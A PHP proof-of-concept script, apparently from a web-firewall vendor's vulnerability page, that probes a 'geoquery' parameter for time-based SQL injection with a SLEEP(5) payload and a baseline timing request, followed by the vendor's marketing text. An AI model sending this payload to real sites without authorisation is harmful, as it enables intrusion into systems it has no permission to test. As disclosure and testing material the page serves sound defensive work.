// Payload that adds a SLEEP(5) delay to confirm SQL injection
$payload = "' AND SLEEP(5) AND '1'='1";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'User-Agent: Mozilla/5.0',
]);

// Add geoquery parameter with malicious payload
curl_setopt($ch, CURLOPT_URL, $target_url . '?geoquery=' . urlencode($payload));

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

$time_taken = $end_time - $start_time;

echo "[+] HTTP Response Code: $http_coden";
echo "[+] Time taken: " . round($time_taken, 2) . " secondsn";

// If time taken is >= 5 seconds, the SLEEP() payload worked, indicating SQL injection
if ($time_taken >= 5) {
    echo "[!] Vulnerability confirmed: Time-based SQL injection detected.n";
} else {
    echo "[-] No time delay observed. Target may be patched or not vulnerable.n";
}

// Second test: baseline request without injection
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $target_url . '?geoquery=POINT(0%200)');
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_TIMEOUT, 10);
$start2 = microtime(true);
$response2 = curl_exec($ch2);
$end2 = microtime(true);
curl_close($ch2);

$time_taken2 = $end2 - $start2;
echo "[+] Baseline time: " . round($time_taken2, 2) . " secondsn";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.